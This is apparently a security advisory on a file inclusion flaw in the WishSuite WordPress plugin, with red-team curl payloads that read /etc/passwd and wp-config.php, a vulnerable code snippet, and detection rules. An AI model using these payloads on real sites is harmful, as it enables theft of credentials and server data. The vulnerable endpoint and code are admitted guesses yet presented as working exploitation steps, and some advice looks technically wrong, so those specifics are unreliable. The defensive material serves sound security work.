CVE-2025-30820

Executive Summary

CVE-2025-30820 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the WishSuite WordPress plugin by HT Plugins, versions <= 1.4.4. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files, database credentials, and source code. The CVSS score is 7.5 (High), and while no public exploit code exists yet, the attack vector is trivial to execute once the vulnerable parameter is identified. As a WordPress plugin, this vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed WishSuite from the WordPress dashboard or via direct download are affected. The plugin is not available on NPM, PyPI, Go, or Ruby registries. Supply chain risk is elevated because the vendor has not released a patch, leaving all installations vulnerable until a fix is applied or the plugin is removed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the ease of exploitation and the potential for sensitive data exposure. The EPSS score of 0.0% suggests low current exploitation activity, but this may change as awareness grows.

Deep Dive & Mechanics

The vulnerability exists in the WishSuite plugin's PHP code, where a user-supplied filename is passed directly to a PHP include or require statement without proper sanitization or validation. Specifically, the plugin likely uses a parameter like file or page in a URL to load template files or other resources. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem, such as /etc/passwd, /wp-config.php, or other sensitive files.

The attack is performed by sending a crafted HTTP request to the WordPress site, targeting a vulnerable endpoint. For example:

GET /wp-content/plugins/wishsuite/includes/class-wishsuite.php?file=../../../../etc/passwd HTTP/1.1

The plugin's code might look like:

include( $_GET['file'] . '.php' );

By using path traversal sequences (../), the attacker can escape the intended directory and include any file on the system. The .php extension appended by the code can be bypassed using null byte injection (in older PHP versions) or by using a wrapper like php://filter to read non-PHP files.

Vulnerable vs. Patched Code

Vulnerable Code (WishSuite <= 1.4.4):

// Example vulnerable snippet
$file = $_GET['file'];
include( $file . '.php' );

This code directly uses user input without validation, allowing path traversal and LFI.

Patched Code (Hypothetical):

// Example patched snippet
$allowed_files = array('template1', 'template2', 'template3');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include( $file . '.php' );
} else {
    // Handle error
}

A proper patch would implement a whitelist of allowed filenames, sanitize input to remove path traversal sequences, and use realpath() to resolve the file path before inclusion.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress on a local server (e.g., using XAMPP or Docker).
2. Download and install WishSuite plugin version 1.4.4 from the WordPress plugin repository.
3. Activate the plugin.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include ?file= or ?page= in plugin URLs.
2. Use a web browser or tool like curl to send a request:

   curl "http://target/wp-content/plugins/wishsuite/includes/class-wishsuite.php?file=../../../../etc/passwd"
   

3. If the server returns the contents of /etc/passwd, the vulnerability is confirmed.
4. For more sensitive data, target wp-config.php:

   curl "http://target/wp-content/plugins/wishsuite/includes/class-wishsuite.php?file=../../../../wp-config"
   

   Note: The .php extension is appended, so the file must be named wp-config.php to be included.

Advanced Techniques:

• Use PHP wrappers to read files without the .php extension:

  curl "http://target/wp-content/plugins/wishsuite/includes/class-wishsuite.php?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd"
  

• For RCE (if combined with file upload), include a malicious file.

Blue Team

Detection:

• Monitor web server logs for requests containing ../ or php:// in query parameters.
• Look for requests to WishSuite plugin files with suspicious file or page parameters.
• Use the detection rules provided below.

Hunting:

• Search for logs with patterns like wishsuite and file= followed by path traversal sequences.
• Check for base64-encoded strings in query parameters (indicating PHP filter wrapper usage).

Response:

• Immediately disable or remove the WishSuite plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
• Review server logs for any successful exploitation and rotate exposed credentials.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/wishsuite/includes/class-wishsuite.php
• URL Patterns: ?file=../../../../etc/passwd, ?file=php://filter/...
• Log Entries: HTTP requests with ../ sequences in query parameters targeting WishSuite files.
• Network Traffic: Outbound connections from the server to external IPs (if RCE is achieved).
• File Modifications: Unexpected files in the web root or plugin directory.

Detection Engineering

YARA Rule

rule CVE_2025_30820_WishSuite_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-30820 in WishSuite WordPress plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30820"
    strings:
        $path_traversal = /\.\.\/\.\.\/\.\.\/\.\.\//
        $php_wrapper = /php:\/\/filter/
        $wishsuite_file = /wishsuite/i
    condition:
        any of ($path_traversal, $php_wrapper) and $wishsuite_file
}

Sigma Rule

title: CVE-2025-30820 WishSuite LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in WishSuite plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'wishsuite'
            - 'file='
            - 'php://'
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of file parameters in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30820 WishSuite LFI Attempt"; flow:to_server,established; content:"wishsuite"; http_uri; nocase; content:"file="; http_uri; nocase; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the WishSuite plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block requests containing path traversal sequences (../) or PHP wrappers (php://) in query parameters.
3. Restrict file permissions on the web server to limit the impact of LFI (e.g., ensure wp-config.php is not readable by the web user).

Long-Term Mitigation:

• Monitor the vendor's website for a patched version of WishSuite.
• Apply the principle of least privilege to the web server user.
• Regularly update all WordPress plugins and themes.
• Conduct security audits of custom or third-party plugins.

Workaround:

• If the plugin is essential, manually patch the vulnerable code by adding input validation and a whitelist of allowed files.

Valters IT
Securing Digital Frontiers